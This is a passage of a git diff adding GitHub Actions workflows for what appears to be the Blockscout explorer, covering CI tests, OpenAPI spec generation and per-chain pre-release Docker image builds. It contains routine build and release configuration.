mix test --no-start --exclude no_nethermind env: # match POSTGRES_PASSWORD for postgres image below PGPASSWORD: postgres # match POSTGRES_USER for postgres image below PGUSER: postgres - ETHEREUM_JSONRPC_CASE: "EthereumJSONRPC.Case.Parity.Mox" + ETHEREUM_JSONRPC_CASE: "EthereumJSONRPC.Case.Nethermind.Mox" ETHEREUM_JSONRPC_WEB_SOCKET_CASE: "EthereumJSONRPC.WebSocket.Case.Mox" - CHAIN_ID: "77" - ADMIN_PANEL_ENABLED: "true" \ No newline at end of file + CHAIN_ID: "10200" + API_RATE_LIMIT_DISABLED: "true" + API_GRAPHQL_RATE_LIMIT_DISABLED: "true" + ADMIN_PANEL_ENABLED: "true" + ACCOUNT_ENABLED: "true" + ACCOUNT_REDIS_URL: "redis://localhost:6379" + SOURCIFY_INTEGRATION_ENABLED: "true" + CHAIN_TYPE: ${{ matrix.chain-type != 'default' && matrix.chain-type || '' }} + WETH_TOKEN_TRANSFERS_FILTERING_ENABLED: "true" diff --git a/.github/workflows/docker-image.yml b/.github/workflows/docker-image.yml new file mode 100644 index 000000000000..793d8e0e39e3 --- /dev/null +++ b/.github/workflows/docker-image.yml @@ -0,0 +1,18 @@ +name: Docker Image CI + +on: + push: + branches: [ "master" ] + pull_request: + branches: [ "master" ] + +jobs: + + build: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v4 + - name: Build the Docker image + run: docker build . --file Dockerfile --tag my-image-name:$(date +%s) diff --git a/.github/workflows/elixir.yml b/.github/workflows/elixir.yml new file mode 100644 index 000000000000..164b91acdc70 --- /dev/null +++ b/.github/workflows/elixir.yml @@ -0,0 +1,39 @@ +# This workflow uses actions that are not certified by GitHub. +# They are provided by a third-party and are governed by +# separate terms of service, privacy policy, and support +# documentation. + +name: Elixir CI + +on: + push: + branches: [ "master" ] + pull_request: + branches: [ "master" ] + +permissions: + contents: read + +jobs: + build: + + name: Build and test + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v4 + - name: Set up Elixir + uses: erlef/setup-beam@61e01a43a562a89bfc54c7f9a378ff67b03e4a21 # v1.16.0 + with: + elixir-version: '1.15.2' # [Required] Define the Elixir version + otp-version: '26.0' # [Required] Define the Erlang/OTP version + - name: Restore dependencies cache + uses: actions/cache@v3 + with: + path: deps + key: ${{ runner.os }}-mix-${{ hashFiles('**/mix.lock') }} + restore-keys: ${{ runner.os }}-mix- + - name: Install dependencies + run: mix deps.get + - name: Run tests + run: mix test diff --git a/.github/workflows/generate-swagger.yml b/.github/workflows/generate-swagger.yml new file mode 100644 index 000000000000..3cc77bf727f0 --- /dev/null +++ b/.github/workflows/generate-swagger.yml @@ -0,0 +1,210 @@ +name: Generate Swagger + +on: + push: + branches: + - master + - np-integrate-open-api-spex + paths-ignore: + - "CHANGELOG.md" + - "**/README.md" + - "docker/*" + - "docker-compose/*" + workflow_dispatch: + release: + types: [published] + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + RELEASE_VERSION: 9.1.1 + +jobs: + matrix-builder: + name: Build matrix + runs-on: ubuntu-latest + outputs: + matrix: ${{ steps.set-matrix.outputs.matrix }} + steps: + - id: set-matrix + run: | + echo "matrix=$(node -e ' + + // Add/remove CI matrix chain types here + const defaultChainTypes = ["default"]; + + const chainTypes = [ + "arbitrum", + "blackfort", + "celo", + "ethereum", + "filecoin", + "optimism", + "polygon_zkevm", + "rsk", + "scroll", + "shibarium", + "stability", + "zetachain", + "zilliqa", + "zksync", + "neon" + ]; + + const extraChainTypes = []; + + // Chain type matrix we use in master branch + const allChainTypes = [].concat(defaultChainTypes, chainTypes, extraChainTypes); + + const matrix = { "chain-type": ${{ 'allChainTypes' }} }; + console.log(JSON.stringify(matrix)); + ')" >> $GITHUB_OUTPUT + + build-and-cache: + name: Build and Cache deps + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v5 + - uses: erlef/setup-beam@v1 + with: + otp-version: ${{ env.OTP_VERSION }} + elixir-version: ${{ env.ELIXIR_VERSION }} + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex + + - name: "ELIXIR_VERSION.lock" + run: echo "${ELIXIR_VERSION}" > ELIXIR_VERSION.lock + + - name: "OTP_VERSION.lock" + run: echo "${OTP_VERSION}" > OTP_VERSION.lock + + - name: Restore Mix Deps Cache + uses: actions/cache@v4 + id: deps-cache + with: + path: | + deps + _build + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} + restore-keys: | + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- + + - name: Conditionally build Mix deps cache + if: steps.deps-cache.outputs.cache-hit != 'true' + run: | + mix local.hex --force + mix local.rebar --force + mix deps.get + mix deps.compile --skip-umbrella-children + + generate-swagger: + strategy: + fail-fast: false + matrix: ${{ fromJson(needs.matrix-builder.outputs.matrix) }} + name: Generate Open API spec + runs-on: ubuntu-latest + needs: + - build-and-cache + - matrix-builder + steps: + - uses: actions/checkout@v5 + - uses: erlef/setup-beam@v1 + with: + otp-version: ${{ env.OTP_VERSION }} + elixir-version: ${{ env.ELIXIR_VERSION }} + hexpm-mirrors: | + https://builds.hex.pm + https://cdn.jsdelivr.net/hex + + - name: Mix Deps Cache + uses: actions/cache/restore@v4 + id: deps-cache + with: + path: | + deps + _build + key: ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash-${{ hashFiles('mix.lock') }} + restore-keys: | + ${{ runner.os }}-${{ env.ELIXIR_VERSION }}-${{ env.OTP_VERSION }}-${{ env.MIX_ENV }}-deps-mixlockhash- + + - name: mix openapi.spec.yaml + run: | + mix openapi.spec.yaml --spec BlockScoutWeb.ApiSpec openapi.${{ matrix.chain-type }}.yaml --start-app=false + env: + CHAIN_TYPE: ${{ matrix.chain-type != 'default' && matrix.chain-type || '' }} + + - name: Upload OpenAPI spec + uses: actions/upload-artifact@v4 + with: + name: openapi-spec-${{ matrix.chain-type }} + path: openapi.${{ matrix.chain-type }}.yaml + retention-days: 1 + + push-specs: + needs: + - generate-swagger + - matrix-builder + runs-on: ubuntu-latest + name: Push all OpenAPI specs + steps: + - name: Validate required secrets + run: | + if [ -z "${{ secrets.API_SPECS_PAT }}" ]; then + echo "Error: API_SPECS_PAT secret is not set" + exit 1 + fi + + - name: Checkout specs repository + uses: actions/checkout@v5 + with: + repository: ${{ vars.API_SPECS_REPOSITORY }} + token: ${{ secrets.API_SPECS_PAT }} + path: api-specs + + - name: Download all swagger specs + uses: actions/download-artifact@v5 + with: + pattern: openapi-spec-* + merge-multiple: true + path: temp-specs + + - name: Create specs directory structure + run: | + VERSION=${{ github.event_name == 'release' && env.RELEASE_VERSION || 'master' }} + + for SPEC_FILE in temp-specs/*; do + if [ -f "$SPEC_FILE" ]; then + # Extract chain type from filename + CHAIN_TYPE=$(echo $SPEC_FILE | cut -d'.' -f2) + + # Create directory + mkdir -p "api-specs/blockscout/${VERSION}/${CHAIN_TYPE}" + + # Copy spec files + cp "$SPEC_FILE" "api-specs/blockscout/${VERSION}/${CHAIN_TYPE}/swagger.yaml" + fi + done + + + - name: Commit and push changes + working-directory: api-specs + run: | + git config --local user.email "github-actions[bot]@users.noreply.github.com" + git config --local user.name "github-actions[bot]" + + git add . + + # Only commit if there are changes + if git diff --staged --quiet; then + echo "No changes to commit" + else + git commit -m "[SKIP-GH-PAGES] create OpenAPI specs for Blockscout ${{ github.event_name == 'release' && env.RELEASE_VERSION || github.sha }}" + git push + fi + + - name: Clean up + if: always() + run: | + rm -rf temp-specs + rm -rf api-specs \ No newline at end of file diff --git a/.github/workflows/makefile.yml b/.github/workflows/makefile.yml new file mode 100644 index 000000000000..e60fbe0f3f5f --- /dev/null +++ b/.github/workflows/makefile.yml @@ -0,0 +1,27 @@ +name: Makefile CI + +on: + push: + branches: [ "master" ] + pull_request: + branches: [ "master" ] + +jobs: + build: + + runs-on: ubuntu-latest + + steps: + - uses: actions/checkout@v4 + + - name: configure + run: ./configure + + - name: Install dependencies + run: make + + - name: Run check + run: make check + + - name: Run distcheck + run: make distcheck diff --git a/.github/workflows/npm-publish-github-packages.yml b/.github/workflows/npm-publish-github-packages.yml new file mode 100644 index 000000000000..ea2d329fa02a --- /dev/null +++ b/.github/workflows/npm-publish-github-packages.yml @@ -0,0 +1,36 @@ +# This workflow will run tests using node and then publish a package to GitHub Packages when a release is created +# For more information see: https://docs.github.com/en/actions/publishing-packages/publishing-nodejs-packages + +name: Node.js Package + +on: + release: + types: [created] + +jobs: + build: + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: 20 + - run: npm ci + - run: npm test + + publish-gpr: + needs: build + runs-on: ubuntu-latest + permissions: + contents: read + packages: write + steps: + - uses: actions/checkout@v4 + - uses: actions/setup-node@v4 + with: + node-version: 20 + registry-url: https://npm.pkg.github.com/ + - run: npm ci + - run: npm publish + env: + NODE_AUTH_TOKEN: ${{secrets.GITHUB_TOKEN}} diff --git a/.github/workflows/pre-release-arbitrum.yml b/.github/workflows/pre-release-arbitrum.yml new file mode 100644 index 000000000000..943f6f9c05eb --- /dev/null +++ b/.github/workflows/pre-release-arbitrum.yml @@ -0,0 +1,67 @@ +name: Pre-release for Arbitrum + +on: + workflow_dispatch: + inputs: + number: + type: number + description: Number of pre-release alpha iteration + required: true + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Arbitrum (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-arbitrum-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=arbitrum + + - name: Build and push Docker image for Arbitrum (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-arbitrum-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=arbitrum diff --git a/.github/workflows/pre-release-celo.yml b/.github/workflows/pre-release-celo.yml new file mode 100644 index 000000000000..7e0d7e93ccba --- /dev/null +++ b/.github/workflows/pre-release-celo.yml @@ -0,0 +1,68 @@ +name: Pre-release for CELO + +on: + workflow_dispatch: + inputs: + number: + type: number + description: Number of pre-release alpha iteration + required: true + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + API_GRAPHQL_MAX_COMPLEXITY: 10400 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for CELO (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-celo-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=celo + + - name: Build and push Docker image for CELO (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-celo-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=celo diff --git a/.github/workflows/pre-release-eth.yml b/.github/workflows/pre-release-eth.yml new file mode 100644 index 000000000000..2b79a1c1ce64 --- /dev/null +++ b/.github/workflows/pre-release-eth.yml @@ -0,0 +1,67 @@ +name: Pre-release for Ethereum + +on: + workflow_dispatch: + inputs: + number: + type: number + description: Number of pre-release alpha iteration + required: true + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Ethereum (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-ethereum-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=ethereum + + - name: Build and push Docker image for Ethereum (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-ethereum-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=ethereum diff --git a/.github/workflows/pre-release-filecoin.yml b/.github/workflows/pre-release-filecoin.yml new file mode 100644 index 000000000000..ad8117904960 --- /dev/null +++ b/.github/workflows/pre-release-filecoin.yml @@ -0,0 +1,67 @@ +name: Pre-release for Filecoin + +on: + workflow_dispatch: + inputs: + number: + type: number + description: Number of pre-release alpha iteration + required: true + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Filecoin (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-filecoin-private:latest, ghcr.io/blockscout/blockscout-filecoin-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=filecoin + + - name: Build and push Docker image for Filecoin (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-filecoin-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=filecoin diff --git a/.github/workflows/pre-release-fuse.yml b/.github/workflows/pre-release-fuse.yml new file mode 100644 index 000000000000..f2eb1187704e --- /dev/null +++ b/.github/workflows/pre-release-fuse.yml @@ -0,0 +1,67 @@ +name: Pre-release for Fuse + +on: + workflow_dispatch: + inputs: + number: + type: number + description: Number of pre-release alpha iteration + required: true + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Fuse (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-fuse-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + BRIDGED_TOKENS_ENABLED=true + + - name: Build and push Docker image for Fuse (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-fuse-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + BRIDGED_TOKENS_ENABLED=true diff --git a/.github/workflows/pre-release-gnosis.yml b/.github/workflows/pre-release-gnosis.yml new file mode 100644 index 000000000000..a9e660db47b4 --- /dev/null +++ b/.github/workflows/pre-release-gnosis.yml @@ -0,0 +1,69 @@ +name: Pre-release for Gnosis Chain + +on: + workflow_dispatch: + inputs: + number: + type: number + description: Number of pre-release alpha iteration + required: true + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Gnosis Chain (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-xdai-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + BRIDGED_TOKENS_ENABLED=true + CHAIN_TYPE=ethereum + + - name: Build and push Docker image for Gnosis Chain (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-xdai-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + BRIDGED_TOKENS_ENABLED=true + CHAIN_TYPE=ethereum diff --git a/.github/workflows/pre-release-optimism.yml b/.github/workflows/pre-release-optimism.yml new file mode 100644 index 000000000000..f5afcd02d2ac --- /dev/null +++ b/.github/workflows/pre-release-optimism.yml @@ -0,0 +1,67 @@ +name: Pre-release for Optimism + +on: + workflow_dispatch: + inputs: + number: + type: number + description: Number of pre-release alpha iteration + required: true + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Optimism (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-optimism-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=optimism + + - name: Build and push Docker image for Optimism (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-optimism-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=optimism diff --git a/.github/workflows/pre-release-polygon-zkevm.yml b/.github/workflows/pre-release-polygon-zkevm.yml new file mode 100644 index 000000000000..09314e950cef --- /dev/null +++ b/.github/workflows/pre-release-polygon-zkevm.yml @@ -0,0 +1,67 @@ +name: Pre-release for Polygon ZkEVM + +on: + workflow_dispatch: + inputs: + number: + type: number + description: Number of pre-release alpha iteration + required: true + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Polygon ZkEVM (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-zkevm-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=polygon_zkevm + + - name: Build and push Docker image for Polygon ZkEVM (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-zkevm-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=polygon_zkevm diff --git a/.github/workflows/pre-release-rootstock.yml b/.github/workflows/pre-release-rootstock.yml new file mode 100644 index 000000000000..7c8aaf8745f5 --- /dev/null +++ b/.github/workflows/pre-release-rootstock.yml @@ -0,0 +1,67 @@ +name: Pre-release for Rootstock + +on: + workflow_dispatch: + inputs: + number: + type: number + description: Number of pre-release alpha iteration + required: true + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Rootstock (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-rsk-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=rsk + + - name: Build and push Docker image for Rootstock (indexer) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-rsk-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }}-indexer + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + DISABLE_API=true + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + RELEASE_VERSION=${{ env.RELEASE_VERSION }} + CHAIN_TYPE=rsk diff --git a/.github/workflows/pre-release-scroll.yml b/.github/workflows/pre-release-scroll.yml new file mode 100644 index 000000000000..24d629962b62 --- /dev/null +++ b/.github/workflows/pre-release-scroll.yml @@ -0,0 +1,67 @@ +name: Pre-release for Scroll + +on: + workflow_dispatch: + inputs: + number: + type: number + description: Number of pre-release alpha iteration + required: true + +permissions: + contents: read + packages: write + +env: + OTP_VERSION: ${{ vars.OTP_VERSION }} + ELIXIR_VERSION: ${{ vars.ELIXIR_VERSION }} + +jobs: + push_to_registry: + name: Push Docker image to GitHub Container Registry + runs-on: ubuntu-latest + env: + RELEASE_VERSION: 9.1.1 + steps: + - uses: actions/checkout@v5 + - name: Setup repo + uses: ./.github/actions/setup-repo + id: setup + with: + github-token: ${{ secrets.GITHUB_TOKEN }} + docker-remote-multi-platform: true + docker-arm-host: ${{ secrets.ARM_RUNNER_HOSTNAME }} + docker-arm-host-key: ${{ secrets.ARM_RUNNER_KEY }} + + - name: Build and push Docker image for Scroll (indexer + API) + uses: docker/build-push-action@v6 + with: + context: . + file: ./docker/Dockerfile + push: true + tags: ghcr.io/blockscout/blockscout-scroll-private:${{ env.RELEASE_VERSION }}-alpha.${{ inputs.number }} + labels: ${{ steps.setup.outputs.docker-labels }} + platforms: | + linux/amd64 + linux/arm64/v8 + build-args: | + BLOCKSCOUT_VERSION=v${{ env.RELEASE_VERSION 